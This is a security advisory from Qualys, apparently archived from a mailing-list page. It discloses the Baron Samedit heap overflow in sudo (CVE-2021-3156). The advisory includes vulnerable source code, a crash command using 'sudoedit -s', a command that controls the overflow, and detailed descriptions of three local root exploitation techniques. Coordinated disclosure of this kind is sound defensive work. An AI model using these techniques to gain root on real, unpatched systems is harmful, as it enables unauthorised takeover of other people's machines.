# Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)

*From*: Qualys Security Advisory <qsa () qualys com>
*Date*: Tue, 26 Jan 2021 18:20:05 +0000

```
Qualys Security Advisory

Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)


========================================================================
Contents
========================================================================

Summary
Analysis
Exploitation
Acknowledgments
Timeline


========================================================================
Summary
========================================================================

We discovered a heap-based buffer overflow in Sudo
(https://www.sudo.ws/). This vulnerability:

- is exploitable by any local user (normal users and system users,
  sudoers and non-sudoers), without authentication (i.e., the attacker
  does not need to know the user's password);

- was introduced in July 2011 (commit 8255ed69), and affects all legacy
  versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to
  1.9.5p1, in their default configuration.

We developed three different exploits for this vulnerability, and
obtained full root privileges on Ubuntu 20.04 (Sudo 1.8.31), Debian 10
(Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). Other operating systems and
distributions are probably also exploitable.


========================================================================
Analysis
========================================================================

If Sudo is executed to run a command in "shell" mode (shell -c command):

- either through the -s option, which sets Sudo's MODE_SHELL flag;

- or through the -i option, which sets Sudo's MODE_SHELL and
  MODE_LOGIN_SHELL flags;

then, at the beginning of Sudo's main(), parse_args() rewrites argv
(lines 609-617), by concatenating all command-line arguments (lines
587-595) and by escaping all meta-characters with backslashes (lines
590-591):

------------------------------------------------------------------------
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572         char **av, *cmnd = NULL;
573         int ac = 1;
...
581             cmnd = dst = reallocarray(NULL, cmnd_size, 2);
...
587             for (av = argv; *av != NULL; av++) {
588                 for (src = *av; *src != '\0'; src++) {
589                     /* quote potential meta characters */
590                     if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
591                         *dst++ = '\\';
592                     *dst++ = *src;
593                 }
594                 *dst++ = ' ';
595             }
...
600             ac += 2; /* -c cmnd */
...
603         av = reallocarray(NULL, ac + 1, sizeof(char *));
...
609         av[0] = (char *)user_details.shell; /* plugin may override shell */
```

```
610         if (cmnd != NULL) {
611             av[1] = "-c";
612             av[2] = cmnd;
613         }
614         av[ac] = NULL;
615
616         argv = av;
617         argc = ac;
618     }
------------------------------------------------------------------------
```

Later, in sudoers_policy_main(), set_cmnd() concatenates the command-line arguments into a heap-based buffer "user_args" (lines 864-871) and unescapes the meta-characters (lines 866-867), "for sudoers matching and logging purposes":

```
------------------------------------------------------------------------
 819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
 ...
 852             for (size = 0, av = NewArgv + 1; *av; av++)
 853                 size += strlen(*av) + 1;
 854             if (size == 0 || (user_args = malloc(size)) == NULL) {
 ...
 857             }
 858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
 ...
 864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
 865                     while (*from) {
 866                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
 867                             from++;
 868                         *to++ = *from++;
 869                     }
 870                     *to++ = ' ';
 871                 }
 ...
 884             }
 ...
 886     }
------------------------------------------------------------------------
```

Unfortunately, if a command-line argument ends with a single backslash character, then:

- at line 866, "from[0]" is the backslash character, and "from[1]" is the argument's null terminator (i.e., not a space character);

- at line 867, "from" is incremented and points to the null terminator;

- at line 868, the null terminator is copied to the "user_args" buffer, and "from" is incremented again and points to the first character after the null terminator (i.e., out of the argument's bounds);

- the "while" loop at lines 865-869 reads and copies out-of-bounds characters to the "user_args" buffer.

In other words, set_cmnd() is vulnerable to a heap-based buffer overflow, because the out-of-bounds characters that are copied to the "user_args" buffer were not included in its size (calculated at lines 852-853).

In theory, however, no command-line argument can end with a single backslash character: if MODE_SHELL or MODE_LOGIN_SHELL is set (line 858, a necessary condition for reaching the vulnerable code), then MODE_SHELL is set (line 571) and parse_args() already escaped all meta-characters, including backslashes (i.e., it escaped every single backslash with a second backslash).

In practice, however, the vulnerable code in set_cmnd() and the escape code in parse_args() are surrounded by slightly different conditions:

```
------------------------------------------------------------------------
 819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
 ...
 858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
------------------------------------------------------------------------
```

versus:

```
------------------------------------------------------------------------
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
------------------------------------------------------------------------
```

Our question, then, is: can we set MODE_SHELL and either MODE_EDIT or MODE_CHECK (to reach the vulnerable code) but not the default MODE_RUN (to avoid the escape code)?

The answer, it seems, is no: if we set MODE_EDIT (-e option, line 361) or MODE_CHECK (-l option, lines 423 and 519), then parse_args() removes MODE_SHELL from the "valid_flags" (lines 363 and 424) and exits with an error if we specify an invalid flag such as MODE_SHELL (lines 532-533):

```
------------------------------------------------------------------------
358                 case 'e':
...
361                     mode = MODE_EDIT;
362                     sudo_settings[ARG_SUDOEDIT].value = "true";
363                     valid_flags = MODE_NONINTERACTIVE;
364                     break;
```

```
...
416                 case 'l':
...
423                     mode = MODE_LIST;
424                     valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
425                     break;
...
518     if (argc > 0 && mode == MODE_LIST)
519         mode = MODE_CHECK;
...
532     if ((flags & valid_flags) != flags)
533         usage(1);
------------------------------------------------------------------------
```

But we found a loophole: if we execute Sudo as "sudoedit" instead of "sudo", then parse_args() automatically sets MODE_EDIT (line 270) but does not reset "valid_flags", and the "valid_flags" include MODE_SHELL by default (lines 127 and 249):

```
------------------------------------------------------------------------
127 #define DEFAULT_VALID_FLAGS
(MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
249     int valid_flags = DEFAULT_VALID_FLAGS;
...
267     proglen = strlen(progname);
268     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
269         progname = "sudoedit";
270         mode = MODE_EDIT;
271         sudo_settings[ARG_SUDOEDIT].value = "true";
272     }
------------------------------------------------------------------------
```

Consequently, if we execute "sudoedit -s", then we set both MODE_EDIT and MODE_SHELL (but not MODE_RUN), we avoid the escape code, reach the vulnerable code, and overflow the heap-based buffer "user_args" through a command-line argument that ends with a single backslash character:

```
------------------------------------------------------------------------
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
------------------------------------------------------------------------
```

From an attacker's point of view, this buffer overflow is ideal:

- we control the size of the "user_args" buffer that we overflow (the size of our concatenated command-line arguments, at lines 852-854);

- we independently control the size and contents of the overflow itself (our last command-line argument is conveniently followed by our first environment variables, which are not included in the size calculation at lines 852-853);

- we can even write null bytes to the buffer that we overflow (every command-line argument or environment variable that ends with a single backslash writes a null byte to "user_args", at lines 866-868).

For example, on an amd64 Linux, the following command allocates a 24-byte "user_args" buffer (a 32-byte heap chunk) and overwrites the next chunk's size field with "A=a\0B=b\0" (0x00623d4200613d41), its fd field with "C=c\0D=d\0" (0x00643d4400633d43), and its bk field with "E=e\0F=f\0" (0x00663d4600653d45):

```
------------------------------------------------------------------------
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
------------------------------------------------------------------------

--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk
```

```
========================================================================
Exploitation
========================================================================
```

Because Sudo calls localization functions at the very beginning of its main() function:

```
------------------------------------------------------------------------
 154     setlocale(LC_ALL, "");
 155     bindtextdomain(PACKAGE_NAME, LOCALEDIR);
 156     textdomain(PACKAGE_NAME);
------------------------------------------------------------------------
```

and passes translation strings (through the gettext() function and _() macro) to format-string functions such as:

```
------------------------------------------------------------------------
 301             sudo_printf(SUDO_CONV_ERROR_MSG, _("%s is not in the sudoers "
 302                 "file.  This incident will be reported.\n"), user_name);
------------------------------------------------------------------------
```

we initially wanted to reuse halfdog's fascinating technique from https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ and transform Sudo's heap-based buffer overflow into a format-string exploit. More precisely:

- at line 154, in setlocale(), we malloc()ate and free() several LC environment variables (LC_CTYPE, LC_MESSAGES, LC_TIME, etc), thereby creating small holes at the very beginning of Sudo's heap (free fast or tcache chunks);

- at line 155, bindtextdomain() malloc()ates a struct binding, which contains a dirname pointer to the name of a directory that contains ".mo" catalog files and hence translation strings;

- in set_cmnd(), we malloc()ate the "user_args" buffer into one of the holes at the beginning of Sudo's heap, and overflow this buffer, thus overwriting the struct binding's dirname pointer;

- at line 301 (for example), gettext() (through the _() macro) loads our own translation string from the overwritten dirname -- in other words, we control the format string that is passed to sudo_printf().

To implement this initial technique, we wrote a rudimentary brute-forcer that executes Sudo inside gdb, overflows the "user_args" buffer, and randomly selects the following parameters:

- the LC environment variables that we pass to Sudo, and their length (we use the "C.UTF-8" locale and append a random "@modifier");

- the size of the "user_args" buffer that we overflow;

- the size of the overflow itself;

- whether we go through Sudo's authentication code (-A or -n option) or not (-u #realuid option).

Unfortunately, this initial technique failed; our brute-forcer was able to overwrite the struct binding's dirname pointer:

```
------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.

0x00007f6e0dde1ea9 in __dcigettext (domainname=domainname@entry=0x7f6e0d9cc020 "sudoers",
msgid1=msgid1@entry=0x7f6e0d9cc014 "user NOT in sudoers", msgid2=msgid2@entry=0x0, plural=plural@entry=0, n=n@entry=0,
category=5) at dcigettext.c:619

=> 0x7f6e0dde1ea9 <__dcigettext+1257>:  cmpb   $0x2f,(%rax)

rax            0x4141414141414141  4702111234474983745
------------------------------------------------------------------------
```

but LC_MESSAGES was always the default "C" locale (not "C.UTF-8"), which disables the string translation in gettext() (i.e., gettext() returns the original format string, not our own).

Fortunately, however, our brute-forcer produced dozens of unique Sudo crashes and gdb backtraces; among these, three caught our attention, and we eventually exploited all three.

========================================================================
1/ struct sudo_hook_entry overwrite
========================================================================

The first crash that caught our attention is:

```
------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.

0x000056291a25d502 in process_hooks_getenv (name=name@entry=0x7f4a6d7dc046 "SYSTEMD_BYPASS_USERDB",
value=value@entry=0x7ffc595cc240) at ../../src/hooks.c:108

=> 0x56291a25d502 <process_hooks_getenv+82>:    callq  *0x8(%rbx)

rbx            0x56291c1df2b0      94734565372592

0x56291c1df2b0: 0x4141414141414141      0x4141414141414141
------------------------------------------------------------------------
```

Incredibly, Sudo's function process_hooks_getenv() crashed (at line 108) because we directly overwrote a function pointer, getenv_fn (a member of a heap-based struct sudo_hook_entry):

```
------------------------------------------------------------------------
 99 int
100 process_hooks_getenv(const char *name, char **value)
101 {
102     struct sudo_hook_entry *hook;
103     char *val = NULL;
...
107     SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {
108         rc = hook->u.getenv_fn(name, &val, hook->closure);
------------------------------------------------------------------------
```

To exploit this struct sudo_hook_entry overwrite, we note that:

- the call to getenv_fn (at line 108) is compatible with a call to execve():

  . name ("SYSTEMD_BYPASS_USERDB") is compatible with execve()'s pathname argument;

  . &val (a pointer to a NULL pointer) is compatible with execve()'s
    argv;

  . hook->closure (a NULL pointer) is compatible with execve()'s envp;

- we can defeat ASLR by partially overwriting the function pointer
  getenv_fn (which points to the function sudoers_hook_getenv() in the
  shared library sudoers.so); and luckily, the beginning of sudoers.so
  contains a call to execve() (or execv()):

```
------------------------------------------------------------------------
0000000000008a00 <execv@plt>:
    8a00:       f3 0f 1e fa             endbr64
    8a04:       f2 ff 25 65 55 05 00    bnd jmpq *0x55565(%rip)        # 5df70 <execv@GLIBC_2.2.5>
    8a0b:       0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
------------------------------------------------------------------------
```

- we can read /dev/kmsg (dmesg) as an unprivileged user on Ubuntu, and
  therefore obtain detailed information about our Sudo crashes.

Consequently, we adopt the following strategy:

- First, we brute-force the exploit parameters until we overwrite
  getenv_fn with an invalid userland address (above 0x800000000000) --
  until we observe a general protection fault at getenv_fn's call site:

```
------------------------------------------------------------------------
sudoedit[15904] general protection fault ip:55e9b645b502 sp:7ffe53d6fa40 error:0 in sudo[55e9b644e000+1a000]
                                                     ^^^
------------------------------------------------------------------------
```

- Next, we reuse these exploit parameters but overwrite getenv_fn with a
  regular pattern of valid (below 0x800000000000) but unmapped userland
  addresses -- in this example, getenv_fn is the 22nd pointer that we
  overwrite (0x32 is '2', a part of our pattern):

```
------------------------------------------------------------------------
sudoedit[15906]: segfault at 323230303030 ip 0000323230303030 sp 00007ffeeabf2868 error 14 in sudo[55b036c16000+5000]
                             ^^^^
------------------------------------------------------------------------
```

- Last, we partially overwrite getenv_fn (we overwrite its two least
  significant bytes with 0x8a00, execv()'s offset in sudoers.so, and its
  third byte with 0x00, user_args's null terminator in set_cmnd()) until
  we defeat ASLR -- we have a good chance of overwriting getenv_fn with
  the address of execv() after 2^(3*8-12) = 2^12 = 4096 tries, thus
  executing our own binary, named "SYSTEMD_BYPASS_USERDB", as root.

We successfully tested this first exploit on Ubuntu 20.04.

========================================================================
## 2/ struct service_user overwrite
========================================================================

The second crash that caught our attention is:

```
------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905
------------------------------------------------------------------------
```

The glibc's function nss_load_library() crashed (at line 344) because we
overwrote the pointer "library", a member of a heap-based struct
service_user:

```
------------------------------------------------------------------------
327 static int
328 nss_load_library (service_user *ni)
329 {
330   if (ni->library == NULL)
331     {
...
338       ni->library = nss_new_service (service_table ?: &default_table,
339                                      ni->name);
...
342     }
343
344   if (ni->library->lib_handle == NULL)
345     {
346       /* Load the shared library.  */
347       size_t shlen = (7 + strlen (ni->name) + 3
348                       + strlen (__nss_shlib_revision) + 1);
349       int saved_errno = errno;
350       char shlib_name[shlen];
351
352       /* Construct shared object name.  */
353       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
354                                               "libnss_"),
355                                     ni->name),
356                           ".so"),
357                 __nss_shlib_revision);
```

```
358
359       ni->library->lib_handle = __libc_dlopen (shlib_name);
------------------------------------------------------------------------
```

We can easily transform this struct service_user overwrite into an arbitrary code execution:

- we overwrite ni->library with a NULL pointer, to enter the block at lines 330-342, avoid the crash at line 344, and enter the block at lines 344-359;

- we overwrite ni->name (an array of characters, initially "systemd") with "X/X";

- lines 353-357 construct the name of a shared library "libnss_X/X.so.2" (instead of "libnss_systemd.so.2");

- at line 359, we load our own shared library "libnss_X/X.so.2" from the current working directory and execute our _init() constructor as root.

We successfully tested this second exploit on Ubuntu 20.04, Debian 10, and Fedora 33.

========================================================================
3/ def_timestampdir overwrite
========================================================================

Our third exploit is not derived from one of Sudo's crashes, but from a casual observation: during our brute-force, Sudo created dozens of new directories in our current working directory (AAAAAA, AAAAAAAAA, etc). Each of these directories belongs to root and contains only one small file, named after our own user: Sudo's timestamp file -- we evidently overwrote def_timestampdir, the name of Sudo's timestamp directory.

If we overwrite def_timestampdir with the name of a directory that does not already exist, then we can race against Sudo's ts_mkdirs(), create a symlink to an arbitrary file, and:

3a/ either chown() this arbitrary file to user root and group root;

3b/ or open (or create) this arbitrary file as root, and write a struct timestamp_entry to it.

We were unable to transform 3a/ into full root privileges (for example, if we chown() our own SUID binary to root, then the kernel automatically removes our binary's SUID bit). If you, dear reader, find a solution to this problem, please post it to the public oss-security mailing list!

Eventually, we were able to transform 3b/ into full root privileges, but we initially faced two problems:

- Sudo's timestamp_open() deletes our arbitrary symlink if the file it points to is older than boot time. We were able to solve this first problem by creating a very old timestamp file (from the Unix epoch), by waiting until timestamp_open() deletes it, and by racing against timestamp_open() to create our final, arbitrary symlink.

- We do not control the contents of the struct timestamp_entry that is written to the arbitrary file. To the best of our knowledge, we only control three bytes (a process ID or a struct timespec), and we were unable to transform this three-byte write into full root privileges. If you, dear reader, find a solution to this problem, please post it to the public oss-security mailing list!

However, we were able to circumvent this second problem by abusing a minor bug in Sudo's timestamp_lock(). If we win the two races against ts_mkdirs() and timestamp_open(), and if our arbitrary symlink points to /etc/passwd, then this file is opened as root, and:

```
------------------------------------------------------------------------
 65 struct timestamp_entry {
 66     unsigned short version;     /* version number */
 67     unsigned short size;        /* entry size */
 68     unsigned short type;        /* TS_GLOBAL, TS_TTY, TS_PPID */
 ..
 78 };
------------------------------------------------------------------------
 305 static ssize_t
 306 ts_write(int fd, const char *fname, struct timestamp_entry *entry, off_t offset)
 307 {
 ...
 318         nwritten = pwrite(fd, entry, entry->size, offset);
 ...
 350 }
------------------------------------------------------------------------
 619 bool
 620 timestamp_lock(void *vcookie, struct passwd *pw)
 621 {
 622     struct ts_cookie *cookie = vcookie;
 623     struct timestamp_entry entry;
 ...
 644     nread = read(cookie->fd, &entry, sizeof(entry));
 645     if (nread == 0) {
 ...
 652     } else if (entry.type != TS_LOCKEXCL) {
 ...
 657         if (ts_write(cookie->fd, cookie->fname, &entry, 0) == -1)
```

```
------------------------------------------------------------------------

- at line 644, the first 0x38 bytes of /etc/passwd ("root:x:0:0:...")
  are read into a stack-based struct timestamp_entry, entry;

- at line 652, entry.type is 0x783a (":x"), not TS_LOCKEXCL;

- at lines 657 and 318, entry->size bytes from the stack-based entry are
  written to /etc/passwd, but entry->size is actually 0x746f ("ot"), not
  sizeof(struct timestamp_entry).

As a result, we write the entire contents of Sudo's stack to /etc/passwd
(including our command-line arguments and our environment variables): we
inject an arbitrary user into /etc/passwd and therefore obtain full root
privileges. We successfully tested this third exploit on Ubuntu 20.04.

Note: this minor bug in timestamp_lock() was fixed in January 2020 by
commit 586b418a, but this fix was not backported to legacy versions.


========================================================================
Acknowledgments
========================================================================

We thank Todd C. Miller for his professionalism, quick response, and
meticulous attention to every detail in our report. We also thank the
members of distros@openwall.


========================================================================
Timeline
========================================================================

2021-01-13: Advisory sent to Todd.Miller@sudo.

2021-01-19: Advisory and patches sent to distros@openwall.

2021-01-26: Coordinated Release Date (6:00 PM UTC).
```

[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>





By Date    By Thread

### Current thread:

- **Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)** *Qualys Security Advisory (Jan 26)*

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]